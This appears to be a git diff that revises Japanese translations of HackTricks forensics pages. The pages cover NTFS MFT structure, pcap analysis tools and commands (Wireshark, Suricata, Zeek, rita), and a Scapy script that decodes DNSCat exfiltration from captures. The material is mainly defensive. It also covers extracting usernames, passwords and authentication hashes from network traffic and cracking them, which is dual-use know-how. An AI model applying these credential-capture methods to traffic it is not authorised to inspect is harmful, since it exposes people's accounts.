| クォータ管理ファイル | $Quota | 24 | ボリュームスペースに割り当てられたユーザー割り当てクォータ制限が含まれています。 |
|
||||
| オブジェクトIDファイル | $ObjId | 25 | ファイルオブジェクトIDが含まれています。 |
|
||||
| リパースポイントファイル | $Reparse | 26 | ボリューム上のファイルとフォルダに関する情報が含まれており、リパースポイントデータを含みます。 |
|
||||
| 再解釈ポイントファイル | $Reparse | 26 | このファイルには、再解釈ポイントデータを含むボリューム上のファイルとフォルダに関する情報が含まれています。 |
|
||||
|
||||
### MFTの各エントリは以下のようになります：
|
||||
### MFTの各エントリは次のようになります：
|
||||
|
||||
.png>)
|
||||
|
||||
各エントリが"FILE"で始まることに注意してください。各エントリは1024ビットを占めます。したがって、MFTエントリの開始から1024ビット後に次のエントリが見つかります。
|
||||
各エントリが「FILE」で始まることに注目してください。各エントリは1024ビットを占有します。したがって、MFTエントリの開始から1024ビット後に次のエントリが見つかります。
|
||||
|
||||
[**Active Disk Editor**](https://www.disk-editor.org/index.html)を使用すると、MFT内のファイルのエントリを簡単に調べることができます。ファイルを右クリックしてから"Inspect File Record"をクリックします。
|
||||
[**Active Disk Editor**](https://www.disk-editor.org/index.html)を使用すると、MFT内のファイルのエントリを簡単に検査できます。ファイルを右クリックして、「Inspect File Record」をクリックします。
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
**"In use"**フラグをチェックすると、ファイルが削除されたかどうかが非常に簡単にわかります（**0x0は削除されたことを意味します**）。
|
||||
**「In use」**フラグをチェックすることで、ファイルが削除されたかどうかを簡単に知ることができます（**0x0の値は削除されたことを意味します**）。
|
||||
|
||||
.png>)
|
||||
|
||||
FTKImagerを使用して削除されたファイルを復元することも可能です：
|
||||
FTKImagerを使用して削除されたファイルを回復することも可能です：
|
||||
|
||||
.png>)
|
||||
|
||||
### MFT属性
|
||||
|
||||
各MFTエントリには、以下の画像が示すようにいくつかの属性があります：
|
||||
各MFTエントリには、次の画像に示すように複数の属性があります：
|
||||
|
||||
.png>)
|
||||
|
||||
各属性は、タイプによって識別されるいくつかのエントリ情報を示します：
|
||||
各属性は、次のタイプによって識別されるエントリ情報を示します：
|
||||
|
||||
| タイプ識別子 | 名前 | 説明 |
|
||||
| --------------- | ------------------------ | ----------------------------------------------------------------------------------------------------------------- |
|
||||
| 16 | $STANDARD\_INFORMATION | フラグ、最終アクセス、書き込み、作成日時、所有者、セキュリティIDなどの一般情報。 |
|
||||
| 32 | $ATTRIBUTE\_LIST | ファイルの他の属性が見つかる場所のリスト。 |
|
||||
| 48 | $FILE\_NAME | Unicodeでのファイル名、最終アクセス、書き込み、作成日時。 |
|
||||
| 64 | $VOLUME\_VERSION | ボリューム情報。バージョン1.2（Windows NT）でのみ存在します。 |
|
||||
| 64 | $OBJECT\_ID | ファイルまたはディレクトリに対する16バイトの一意の識別子。バージョン3.0+以降（Windows 2000+）でのみ存在します。 |
|
||||
| 16 | $STANDARD\_INFORMATION | フラグ、最終アクセス、書き込み、作成時刻、所有者、セキュリティIDなどの一般情報。 |
|
||||
| 32 | $ATTRIBUTE\_LIST | ファイルの他の属性が見つかるリスト。 |
|
||||
| 48 | $FILE\_NAME | ファイル名（Unicode）、最終アクセス、書き込み、作成時刻。 |
|
||||
| 64 | $VOLUME\_VERSION | ボリューム情報。バージョン1.2（Windows NT）のみ存在します。 |
|
||||
| 64 | $OBJECT\_ID | ファイルまたはディレクトリの16バイトの一意の識別子。バージョン3.0以降（Windows 2000以降）のみ存在します。 |
|
||||
| 80 | $SECURITY\_ DESCRIPTOR | ファイルのアクセス制御とセキュリティプロパティ。 |
|
||||
| 96 | $VOLUME\_NAME | ボリューム名。 |
|
||||
| 112 | $VOLUME\_ INFORMATION | ファイルシステムバージョンとその他のフラグ。 |
|
||||
| 112 | $VOLUME\_ INFORMATION | ファイルシステムバージョンおよびその他のフラグ。 |
|
||||
| 128 | $DATA | ファイルの内容。 |
|
||||
| 144 | $INDEX\_ROOT | インデックスツリーのルートノード。 |
|
||||
| 160 | $INDEX\_ALLOCATION | $INDEX\_ROOT属性に根ざしたインデックスツリーのノード。 |
|
||||
| 176
|
||||
| 160 | $INDEX\_ALLOCATION | $INDEX\_ROOT属性にルートされたインデックスツリーのノード。 |
|
||||
| 176 | $BITMAP | $MFTファイルとインデックスのためのビットマップ。 |
|
||||
| 192 | $SYMBOLIC\_LINK | ソフトリンク情報。バージョン1.2（Windows NT）のみ存在します。 |
|
||||
| 192 | $REPARSE\_POINT | 再解釈ポイントに関する
|
||||
|
|
|
|||
|
|
@ -1,46 +1,46 @@
|
|||
# Pcap 検査
|
||||
# Pcap Inspection
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricks にあなたの会社を広告したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop) をチェックしてください！
|
||||
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com) を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFT**](https://opensea.io/collection/the-peass-family) コレクションをチェックする
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に **参加する** か、[**telegram グループ**](https://t.me/peass) に参加する、または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を **フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングのコツを共有する。
|
||||
- **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** でも最も重要なイベントの一つです。技術知識の普及を使命として、この会議はあらゆる分野のテクノロジーとサイバーセキュリティの専門家が集まる場です。
|
||||
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**PCAP** と **PCAPNG** についての注意: PCAP ファイル形式には二つのバージョンがあります。**PCAPNG は新しく、すべてのツールでサポートされているわけではありません**。一部のツールで作業するためには、Wireshark または他の互換ツールを使用して PCAPNG ファイルを PCAP に変換する必要があるかもしれません。
|
||||
**PCAP**と**PCAPNG**についての注意：PCAPファイル形式には2つのバージョンがあります。**PCAPNGは新しいバージョンであり、すべてのツールでサポートされていません**。他のツールで使用するためには、Wiresharkなどの互換性のあるツールを使用して、PCAPNGファイルをPCAPファイルに変換する必要がある場合があります。
|
||||
{% endhint %}
|
||||
|
||||
## オンラインツール for pcaps
|
||||
|
||||
* pcap のヘッダーが **壊れている** 場合は、[http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) を使用して **修正** することを試みてください。
|
||||
* [**PacketTotal**](https://packettotal.com) で pcap 内の **情報** を抽出し、**マルウェア** を検索する。
|
||||
* [**www.virustotal.com**](https://www.virustotal.com) と [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) を使用して **悪意のある活動** を検索する。
|
||||
- pcapのヘッダーが**壊れている**場合は、[http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)を使用して**修正**してみてください
|
||||
- pcap内の**情報を抽出**し、**マルウェア**を検索するには、[**PacketTotal**](https://packettotal.com)を使用します
|
||||
- [**www.virustotal.com**](https://www.virustotal.com)と[**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)を使用して、**悪意のある活動**を検索します
|
||||
|
||||
## 情報の抽出
|
||||
|
||||
以下のツールは統計、ファイルなどを抽出するのに役立ちます。
|
||||
次のツールは統計情報、ファイルなどを抽出するのに役立ちます。
|
||||
|
||||
### Wireshark
|
||||
|
||||
{% hint style="info" %}
|
||||
**PCAP を分析する場合、基本的に Wireshark の使用方法を知っている必要があります**
|
||||
**PCAPを分析する場合、基本的にWiresharkの使用方法を知っている必要があります**
|
||||
{% endhint %}
|
||||
|
||||
いくつかの Wireshark のコツはこちらで見つけることができます:
|
||||
Wiresharkのトリックは次の場所で見つけることができます：
|
||||
|
||||
{% content-ref url="wireshark-tricks.md" %}
|
||||
[wireshark-tricks.md](wireshark-tricks.md)
|
||||
|
|
@ -48,7 +48,7 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
### Xplico Framework
|
||||
|
||||
[**Xplico**](https://github.com/xplico/xplico) _(Linux のみ)_ は **pcap** を **分析** し、情報を抽出することができます。例えば、Xplico は pcap ファイルから各メール (POP、IMAP、SMTP プロトコル)、すべての HTTP コンテンツ、各 VoIP 通話 (SIP)、FTP、TFTP などを抽出します。
|
||||
[**Xplico** ](https://github.com/xplico/xplico)（Linuxのみ）は**pcap**を分析し、その情報を抽出できます。たとえば、pcapファイルからXplicoは、各電子メール（POP、IMAP、およびSMTPプロトコル）、すべてのHTTPコンテンツ、各VoIP通話（SIP）、FTP、TFTPなどを抽出します。
|
||||
|
||||
**インストール**
|
||||
```bash
|
||||
|
|
@ -62,29 +62,29 @@ sudo apt-get install xplico
|
|||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
_**127.0.0.1:9876**_ に _**xplico:xplico**_ の認証情報でアクセスします。
|
||||
アクセスは_**127.0.0.1:9876**_、資格情報は_**xplico:xplico**_です。
|
||||
|
||||
次に、**新しいケース**を作成し、そのケース内に**新しいセッション**を作成し、**pcapファイルをアップロード**します。
|
||||
次に**新しいケース**を作成し、そのケース内に**新しいセッション**を作成し、**pcap**ファイルを**アップロード**してください。
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
Xplicoと同様に、**pcapからオブジェクトを分析・抽出する**ツールです。無料版を[**こちら**](https://www.netresec.com/?page=NetworkMiner)から**ダウンロード**できます。**Windows**で動作します。\
|
||||
このツールは、パケットから**他の情報を分析**して、何が起こっていたかを**より早く**知るのにも役立ちます。
|
||||
Xplicoと同様に、pcapからオブジェクトを**解析および抽出**するツールです。[**こちら**](https://www.netresec.com/?page=NetworkMiner)から無料版を**ダウンロード**できます。**Windows**と互換性があります。\
|
||||
このツールは、**パケットから他の情報を取得**し、**より迅速**に何が起こっていたのかを知るのに役立ちます。
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
[**NetWitness Investigatorはこちらからダウンロード**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)できます**(Windowsで動作)**。\
|
||||
これも、パケットを**分析**し、内部で何が起こっているかを知るのに役立つ情報を便利に整理するツールです。
|
||||
[**こちら**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)から**NetWitness Investigator**をダウンロードできます（**Windows**で動作します）。\
|
||||
これは、**パケットを解析**し、情報を整理して**内部で何が起こっているかを知る**のに役立つ別の便利なツールです。
|
||||
|
||||
 (1).png>)
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
* ユーザー名とパスワードの抽出とエンコーディング (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* 認証ハッシュの抽出とHashcatを使用したクラック (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* ビジュアルネットワーク図の構築 (ネットワークノード & ユーザー)
|
||||
* ユーザー名とパスワードの抽出とエンコード（HTTP、FTP、Telnet、IMAP、SMTP...）
|
||||
* 認証ハッシュの抽出とHashcatを使用してクラック（Kerberos、NTLM、CRAM-MD5、HTTP-Digest...）
|
||||
* ビジュアルネットワークダイアグラムの作成（ネットワークノード＆ユーザー）
|
||||
* DNSクエリの抽出
|
||||
* すべてのTCP & UDPセッションの再構築
|
||||
* すべてのTCPおよびUDPセッションの再構築
|
||||
* ファイルカービング
|
||||
|
||||
### Capinfos
|
||||
|
|
@ -93,13 +93,13 @@ capinfos capture.pcap
|
|||
```
|
||||
### Ngrep
|
||||
|
||||
pcap内で**何か**を**探している**場合は、**ngrep**を使用できます。主なフィルターを使用した例はこちらです：
|
||||
pcap内で**何か**を**探している**場合は、**ngrep**を使用できます。以下は、主なフィルターを使用した例です：
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### カービング
|
||||
|
||||
一般的なカービング技術を使用して、pcapからファイルや情報を抽出することが有効です：
|
||||
一般的なカービング技術を使用して、pcap からファイルや情報を抽出するのに役立ちます:
|
||||
|
||||
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
|
|
@ -107,15 +107,15 @@ ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.
|
|||
|
||||
### 資格情報のキャプチャ
|
||||
|
||||
[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) のようなツールを使用して、pcapまたはライブインターフェースから資格情報を解析できます。
|
||||
[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) のようなツールを使用して、pcap またはライブインターフェースから資格情報を解析できます。
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命として**、この会議はあらゆる分野のテクノロジーとサイバーセキュリティの専門家が集まる活発な交流の場です。
|
||||
[**RootedCON**](https://www.rootedcon.com/) は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## エクスプロイト/マルウェアのチェック
|
||||
## Exploits/Malware のチェック
|
||||
|
||||
### Suricata
|
||||
|
||||
|
|
@ -126,23 +126,23 @@ apt-get install oinkmaster
|
|||
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
|
||||
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||
```
|
||||
**pcapの確認**
|
||||
**PCAPの確認**
|
||||
```
|
||||
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
```
|
||||
### YaraPcap
|
||||
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap)は以下の機能を持つツールです。
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap)は次のことを行うツールです。
|
||||
|
||||
* PCAPファイルを読み込み、Httpストリームを抽出します。
|
||||
* 圧縮されたストリームをgzipで解凍します。
|
||||
* すべてのファイルをyaraでスキャンします。
|
||||
* report.txtを作成します。
|
||||
* オプションで、マッチしたファイルをDirに保存します。
|
||||
- PCAPファイルを読み取り、HTTPストリームを抽出します。
|
||||
- 圧縮されたストリームをgzipで解凍します。
|
||||
- すべてのファイルをyaraでスキャンします。
|
||||
- report.txtを書き込みます。
|
||||
- 必要に応じて一致するファイルをディレクトリに保存します。
|
||||
|
||||
### マルウェア分析
|
||||
|
||||
既知のマルウェアの指紋を見つけることができるか確認してください：
|
||||
既知のマルウェアの指紋を見つけることができるかどうかを確認してください：
|
||||
|
||||
{% content-ref url="../malware-analysis.md" %}
|
||||
[malware-analysis.md](../malware-analysis.md)
|
||||
|
|
@ -150,11 +150,9 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
|||
|
||||
## Zeek
|
||||
|
||||
> Zeekはパッシブなオープンソースのネットワークトラフィックアナライザーです。多くのオペレーターは、疑わしいまたは悪意のある活動の調査をサポートするために、ネットワークセキュリティモニター（NSM）としてZeekを使用しています。Zeekはセキュリティドメインを超えた幅広いトラフィック分析タスクもサポートしており、パフォーマンス測定やトラブルシューティングなどが含まれます。
|
||||
> Zeekは受動的なオープンソースのネットワークトラフィックアナライザーです。多くのオペレーターは、疑わしいまたは悪意のある活動の調査をサポートするために、Zeekをネットワークセキュリティモニター（NSM）として使用しています。 Zeekは、セキュリティ領域を超えたさまざまなトラフィック分析タスクをサポートしており、パフォーマンス測定やトラブルシューティングも含まれています。
|
||||
|
||||
基本的に、`zeek`によって作成されたログは**pcaps**ではありません。したがって、pcapsに関する**情報**があるログを分析するためには**他のツール**を使用する必要があります。
|
||||
|
||||
### 接続情報
|
||||
基本的に、`zeek`によって作成されたログは**pcap**ではありません。したがって、**pcap**に関する**情報**が含まれているログを分析するためには、**他のツール**を使用する必要があります。
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
|
|
@ -221,7 +219,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
|
|||
#See top DNS domain requested with rita
|
||||
rita show-exploded-dns -H --limit 10 zeek_logs
|
||||
```
|
||||
## その他のpcap分析のコツ
|
||||
## その他のpcap分析のテクニック
|
||||
|
||||
{% content-ref url="dnscat-exfiltration.md" %}
|
||||
[dnscat-exfiltration.md](dnscat-exfiltration.md)
|
||||
|
|
@ -239,20 +237,20 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の普及を使命として**、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる場となっています。
|
||||
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての活発な交流の場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの**会社を広告したい、または**HackTricksをPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,21 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする**
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
暗号化を使用せずに**DNSCat**によってデータが**流出**しているpcapを持っている場合、流出した内容を見つけることができます。
|
||||
DNSCat によって **暗号化を使用せずに** **DNSCat によって** **外部に持ち出された** データを含む pcap を持っている場合、外部に持ち出されたコンテンツを見つけることができます。
|
||||
|
||||
知っておくべきは、**最初の9バイト**が実際のデータではなく、**C\&C通信**に関連しているということだけです：
|
||||
**最初の9バイト** は実際のデータではなく、**C\&C通信** に関連していることを知っていれば十分です。
|
||||
```python
|
||||
from scapy.all import rdpcap, DNSQR, DNSRR
|
||||
import struct
|
||||
|
|
@ -34,23 +34,24 @@ last = qry
|
|||
|
||||
#print(f)
|
||||
```
|
||||
詳細については、以下のリンクを参照してください: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
|
||||
詳細については: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
|
||||
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
|
||||
|
||||
|
||||
Python3で動作するスクリプトがあります: https://github.com/josemlwdf/DNScat-Decoder
|
||||
```
|
||||
python3 dnscat_decoder.py sample.pcap bad_domain
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください。**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください。**
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローする。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック！</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
